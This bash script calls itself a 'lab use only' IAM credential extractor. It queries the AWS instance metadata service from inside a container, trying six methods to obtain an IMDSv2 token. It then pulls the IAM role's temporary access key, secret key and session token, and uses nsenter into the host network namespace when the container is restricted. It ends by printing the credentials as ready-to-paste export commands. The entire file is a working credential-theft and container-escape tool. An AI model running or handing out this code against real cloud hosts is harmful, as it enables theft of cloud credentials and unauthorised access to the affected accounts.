#!/bin/bash # Enhanced IAM Credential Extractor (Lab Use Only) # Handles IMDSv2 token retrieval with multiple fallback methods # Includes debugging and enhanced error handling echo "==== Enhanced IAM Credential Extractor (Lab Use Only) ====" echo "" # Global variables TOKEN="" ROLE_NAME="" CREDS="" DEBUG=${DEBUG:-0} # Debug function debug_log() { if [ "$DEBUG" -eq 1 ]; then echo "[DEBUG] $1" >&2 fi } # Enhanced metadata service check - skip token validation for connectivity test check_metadata_access() { echo "[*] Checking metadata service accessibility..." # Test basic connectivity first if timeout 5 nc -z 169.254.169.254 80 2>/dev/null; then echo "[+] Port 80 is reachable on 169.254.169.254" else echo "[-] Port 80 not reachable on 169.254.169.254" return 1 fi # For IMDSv2, HTTP 401 on root endpoint is expected and means service is working local response response=$(timeout 10 curl -s -w "%{http_code}" -o /dev/null http://169.254.169.254/ 2>/dev/null) debug_log "HTTP response code: $response" if [ "$response" -eq 200 ] || [ "$response" -eq 404 ] || [ "$response" -eq 403 ] || [ "$response" -eq 401 ]; then if [ "$response" -eq 401 ]; then echo "[+] Metadata service responding with HTTP 401 (IMDSv2 enforced - this is expected)" else echo "[+] Metadata service is responding (HTTP $response)" fi return 0 else echo "[-] Metadata service not responding properly (HTTP $response)" return 1 fi } # Enhanced token retrieval with multiple methods # Enhanced token retrieval with better error handling and debugging get_token_method1() { echo "[*] Method 1: Standard IMDSv2 token request..." # Make the request and capture both response and HTTP code local temp_output=$(mktemp) local temp_headers=$(mktemp) timeout 10 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ http://169.254.169.254/latest/api/token 2>/dev/null local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}') TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ') rm -f "$temp_output" "$temp_headers" # Default http_code if parsing failed [ -z "$http_code" ] && http_code="000" debug_log "HTTP code: $http_code, Token length: ${#TOKEN}" debug_log "Token content: ${TOKEN:0:50}..." if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then echo "[+] Method 1 successful - Token: ${TOKEN:0:20}..." return 0 elif [ "$http_code" -eq 403 ] 2>/dev/null; then echo "[-] Method 1 failed - HTTP 403: IMDSv2 token requests blocked" elif [ "$http_code" -eq 404 ] 2>/dev/null; then echo "[-] Method 1 failed - HTTP 404: IMDSv2 endpoint not found" elif [ "$http_code" -eq 401 ] 2>/dev/null; then echo "[-] Method 1 failed - HTTP 401: Unauthorized token request" else echo "[-] Method 1 failed - HTTP $http_code (connection/timeout issue)" fi return 1 } get_token_method2() { echo "[*] Method 2: IMDSv2 with alternative timeout and headers..." local temp_output=$(mktemp) local temp_headers=$(mktemp) timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" \ -H "Connection: close" \ http://169.254.169.254/latest/api/token 2>/dev/null local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}') TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ') rm -f "$temp_output" "$temp_headers" [ -z "$http_code" ] && http_code="000" debug_log "Method 2 - HTTP code: $http_code, Token: ${TOKEN:0:50}..." if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then echo "[+] Method 2 successful - Token: ${TOKEN:0:20}..." return 0 fi echo "[-] Method 2 failed - HTTP $http_code" return 1 } get_token_method3() { echo "[*] Method 3: IMDSv2 with User-Agent and IPv4 binding..." local temp_output=$(mktemp) local temp_headers=$(mktemp) timeout 15 curl -s -D "$temp_headers" -o "$temp_output" -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ -H "User-Agent: aws-cli/2.0" \ --ipv4 \ http://169.254.169.254/latest/api/token 2>/dev/null local http_code=$(grep -o "HTTP/[0-9.]* [0-9]*" "$temp_headers" 2>/dev/null | tail -n1 | awk '{print $2}') TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ') rm -f "$temp_output" "$temp_headers" [ -z "$http_code" ] && http_code="000" debug_log "Method 3 - HTTP code: $http_code, Token: ${TOKEN:0:50}..." if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then echo "[+] Method 3 successful - Token: ${TOKEN:0:20}..." return 0 fi echo "[-] Method 3 failed - HTTP $http_code" return 1 } get_token_method4() { echo "[*] Method 4: Using wget for token request..." if ! command -v wget >/dev/null; then echo "[-] Method 4 skipped - wget not available" return 1 fi local temp_file=$(mktemp) # Use wget with server response if timeout 15 wget -q -S -O "$temp_file" \ --method=PUT \ --header="X-aws-ec2-metadata-token-ttl-seconds: 21600" \ http://169.254.169.254/latest/api/token 2>&1 | grep -q "200 OK"; then TOKEN=$(cat "$temp_file" 2>/dev/null | tr -d '\r\n\t ') rm -f "$temp_file" if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then echo "[+] Method 4 successful - Token: ${TOKEN:0:20}..." return 0 fi fi rm -f "$temp_file" echo "[-] Method 4 failed" return 1 } # Method 5: Try with different curl options get_token_method5() { echo "[*] Method 5: Token request with alternative curl options..." # Try without interface binding, just basic curl local temp_output=$(mktemp) timeout 15 curl -s -o "$temp_output" \ --max-time 10 \ --connect-timeout 5 \ -X PUT \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ -w "HTTPCODE:%{http_code}" \ http://169.254.169.254/latest/api/token 2>/dev/null > /tmp/curl_debug.out local http_code=$(grep "HTTPCODE:" /tmp/curl_debug.out 2>/dev/null | cut -d: -f2) TOKEN=$(cat "$temp_output" 2>/dev/null | tr -d '\r\n\t ') rm -f "$temp_output" /tmp/curl_debug.out [ -z "$http_code" ] && http_code="000" debug_log "Method 5 - HTTP code: $http_code, Token: ${TOKEN:0:50}..." if [ "$http_code" -eq 200 ] 2>/dev/null && [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then echo "[+] Method 5 successful - Token: ${TOKEN:0:20}..." return 0 fi echo "[-] Method 5 failed - HTTP $http_code" return 1 } # Method 6: Try with minimal headers get_token_method6() { echo "[*] Method 6: Minimal token request..." # Sometimes containers have issues with certain headers, try minimal approach TOKEN=$(timeout 10 curl -s -X PUT \ "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null | tr -d '\r\n\t ') debug_log "Method 6 - Token: ${TOKEN:0:50}..." if [ -n "$TOKEN" ] && [ ${#TOKEN} -gt 10 ]; then echo "[+] Method 6 successful - Token: ${TOKEN:0:20}..." return 0 fi echo "[-] Method 6 failed" return 1 } # Try all token methods with enhanced error reporting get_token() { local ns="$1" echo "[*] Getting IMDSv2 token ($ns)..." if [ "$ns" == "container" ]; then # Try multiple methods in sequence echo "[*] Attempting container-based token retrieval..." get_token_method1 && return 0 get_token_method2 && return 0 get_token_method3 && return 0 command -v wget >/dev/null && get_token_method4 && return 0 get_token_method5 && return 0 get_token_method6 && return 0 echo "[-] All container token methods failed" echo "[!] This usually indicates:" echo " 1. Container has restricted IMDSv2 access" echo " 2. Network policy blocking metadata access" echo " 3. Container runtime security restrictions" echo " 4. EC2 instance may not have proper IMDSv2 configuration" else # Host namespace method echo "[*] Attempting host namespace token retrieval..." local token_result token_result=$(curl_hostns "latest/api/token" "-X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'" 2>/dev/null) if [ -n "$token_result" ] && [ ${#token_result} -gt 10 ]; then TOKEN="$token_result" echo "[+] Host namespace token successful - Token: ${TOKEN:0:20}..." return 0 else echo "[-] Host namespace token failed" debug_log "Host namespace token result: '$token_result'" fi fi return 1 } # Enhanced role name retrieval get_role_name() { local ns="$1" echo "[*] Getting IAM role name ($ns)..." if [ "$ns" == "container" ]; then # Try with different approaches ROLE_NAME=$(timeout 10 curl -s \ -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null) # Alternative method if first fails if [ -z "$ROLE_NAME" ]; then debug_log "Trying alternative role name method..." ROLE_NAME=$(timeout 10 curl -s \ -H "X-aws-ec2-metadata-token: $TOKEN" \ -H "User-Agent: aws-cli/2.0" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null) fi else ROLE_NAME=$(curl_hostns "latest/meta-data/iam/security-credentials/" "-H 'X-aws-ec2-metadata-token: $TOKEN'") fi # Clean up role name (remove whitespace/newlines) ROLE_NAME=$(echo "$ROLE_NAME" | tr -d '\r\n' | head -n 1) if [ -n "$ROLE_NAME" ]; then echo "[+] Found IAM role: $ROLE_NAME" return 0 else echo "[-] No IAM role found" debug_log "Role name response was empty or invalid" return 1 fi } # Enhanced credentials retrieval get_credentials() { local ns="$1" echo "[*] Getting IAM credentials ($ns)..." if [ "$ns" == "container" ]; then CREDS=$(timeout 15 curl -s \ -H "X-aws-ec2-metadata-token: $TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null) # Try alternative method if first fails if [ -z "$CREDS" ] || ! echo "$CREDS" | grep -q "AccessKeyId"; then debug_log "Trying alternative credentials method..." CREDS=$(timeout 15 curl -s \ -H "X-aws-ec2-metadata-token: $TOKEN" \ -H "User-Agent: aws-cli/2.0" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null) fi else CREDS=$(curl_hostns "latest/meta-data/iam/security-credentials/$ROLE_NAME" "-H 'X-aws-ec2-metadata-token: $TOKEN'") fi debug_log "Credentials response: ${CREDS:0:100}..." if [ -n "$CREDS" ] && echo "$CREDS" | grep -q "AccessKeyId"; then echo "[+] Retrieved credentials successfully!" return 0 else echo "[-] Failed to retrieve valid credentials" debug_log "Credentials were empty or malformed" return 1 fi } # Function to get host PID (enhanced) get_host_pid() { # Try multiple methods to get host PID local host_pid # Method 1: Docker inspect host_pid=$(docker inspect --format '{{.State.Pid}}' $(hostname) 2>/dev/null) [ -n "$host_pid" ] && echo "$host_pid" && return # Method 2: Check /proc/1/cgroup if [ -f /proc/1/cgroup ] && grep -q docker /proc/1/cgroup; then host_pid=$(ps aux | grep '[d]ockerd' | head -n 1 | awk '{print $2}' 2>/dev/null) [ -n "$host_pid" ] && echo "$host_pid" && return fi # Method 3: Try to find container runtime process host_pid=$(pgrep -f containerd 2>/dev/null | head -n 1) [ -n "$host_pid" ] && echo "$host_pid" && return return 1 } # Enhanced host namespace curl curl_hostns() { local path="$1" local token_header="$2" local host_pid host_pid=$(get_host_pid) if [ -n "$host_pid" ] && command -v nsenter &>/dev/null; then debug_log "Using nsenter with PID: $host_pid" nsenter -t "$host_pid" -n timeout 15 curl -s $token_header "http://169.254.169.254/$path" 2>/dev/null else debug_log "nsenter not available or host PID not found" return 1 fi } # Enhanced credential export export_credentials() { echo "[*] Parsing and exporting credentials..." # Try jq first, then fall back to grep if command -v jq >/dev/null 2>&1; then ACCESS_KEY=$(echo "$CREDS" | jq -r '.AccessKeyId' 2>/dev/null) SECRET_KEY=$(echo "$CREDS" | jq -r '.SecretAccessKey' 2>/dev/null) SESSION_TOKEN=$(echo "$CREDS" | jq -r '.Token' 2>/dev/null) EXPIRATION=$(echo "$CREDS" | jq -r '.Expiration' 2>/dev/null) else ACCESS_KEY=$(echo "$CREDS" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1) SECRET_KEY=$(echo "$CREDS" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1) SESSION_TOKEN=$(echo "$CREDS" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1) EXPIRATION=$(echo "$CREDS" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1) fi debug_log "Parsed - AccessKey: ${ACCESS_KEY:0:10}..., SecretKey: ${SECRET_KEY:0:10}..., Token: ${SESSION_TOKEN:0:20}..." if [ -n "$ACCESS_KEY" ] && [ -n "$SECRET_KEY" ] && [ -n "$SESSION_TOKEN" ]; then echo "" echo "============================================" echo "# 🎯 AWS Credentials Successfully Retrieved!" echo "============================================" echo "" echo "# Copy and paste these commands:" echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\"" echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\"" echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\"" echo "" if [ -n "$EXPIRATION" ]; then echo "# Credentials expire at: $EXPIRATION" echo "" fi echo "# Verify with: aws sts get-caller-identity" echo "============================================" return 0 else echo "[-] Failed to parse credentials properly" debug_log "Raw credentials: $CREDS" return 1 fi } # Enhanced debugging mode with network diagnostics enable_debug() { export DEBUG=1 echo "[DEBUG] Debug mode enabled" echo "[DEBUG] Container ID: $(hostname)" echo "[DEBUG] Available tools: curl=$(command -v curl), wget=$(command -v wget), jq=$(command -v jq), nsenter=$(command -v nsenter)" echo "[DEBUG] Container environment:" echo "[DEBUG] - Docker env file: $([ -f /.dockerenv ] && echo "Present" || echo "Not found")" echo "[DEBUG] - Cgroup: $(head -n 1 /proc/1/cgroup 2>/dev/null | grep -o 'docker\|containerd\|podman' || echo "Unknown")" echo "[DEBUG] Network interfaces:" ip addr show 2>/dev/null | grep -E "(inet|UP)" || ifconfig 2>/dev/null | grep -E "(inet|UP)" echo "[DEBUG] Default route:" ip route show default 2>/dev/null || route -n 2>/dev/null | grep "^0.0.0.0" echo "[DEBUG] DNS configuration:" cat /etc/resolv.conf 2>/dev/null | head -3 echo "[DEBUG] Testing basic connectivity to metadata service:" # Test raw connectivity timeout 5 nc -z 169.254.169.254 80 2>/dev/null && echo "[DEBUG] - Port 80: OPEN" || echo "[DEBUG] - Port 80: CLOSED/FILTERED" # Test with ping (if available) if command -v ping >/dev/null; then timeout 3 ping -c 1 169.254.169.254 >/dev/null 2>&1 && echo "[DEBUG] - Ping: SUCCESS" || echo "[DEBUG] - Ping: FAILED" fi # Test HTTP response local test_response test_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code} TIME:%{time_total}" http://169.254.169.254/ 2>/dev/null) echo "[DEBUG] - HTTP test: $test_response" } # Main execution with enhanced error handling main() { # Check if debug mode requested if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then enable_debug fi echo "[*] Starting container-based IMDSv2 credential extraction..." # Check if we're in a container if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then echo "[+] Container environment detected" else echo "[!] Warning: Not in a container environment" fi # Try container network first if check_metadata_access; then echo "[*] Attempting credential extraction from container namespace..." if get_token "container" && get_role_name "container" && get_credentials "container"; then if export_credentials; then exit 0 fi fi fi echo "" echo "[*] Container method failed, attempting host network namespace..." # Check prerequisites for host namespace method if ! command -v nsenter >/dev/null; then echo "[-] nsenter not available - cannot try host namespace method" echo "[!] Try: apt-get update && apt-get install -y util-linux" elif ! get_host_pid >/dev/null; then echo "[-] Cannot determine host PID - host namespace method unavailable" else if get_token "hostns" && get_role_name "hostns" && get_credentials "hostns"; then if export_credentials; then exit 0 fi fi fi echo "" echo "============================================" echo "[-] ❌ Could not retrieve credentials" echo "============================================" echo "" echo "Possible issues:" echo "1. IMDSv2 is enforced but container has limited access" echo "2. Container is not running on an EC2 instance with IAM role" echo "3. Network restrictions prevent metadata access" echo "4. Container runtime restrictions" echo "" echo "Try running with debug mode: $0 --debug" echo "============================================" exit 1 } # Run with all arguments main "$@"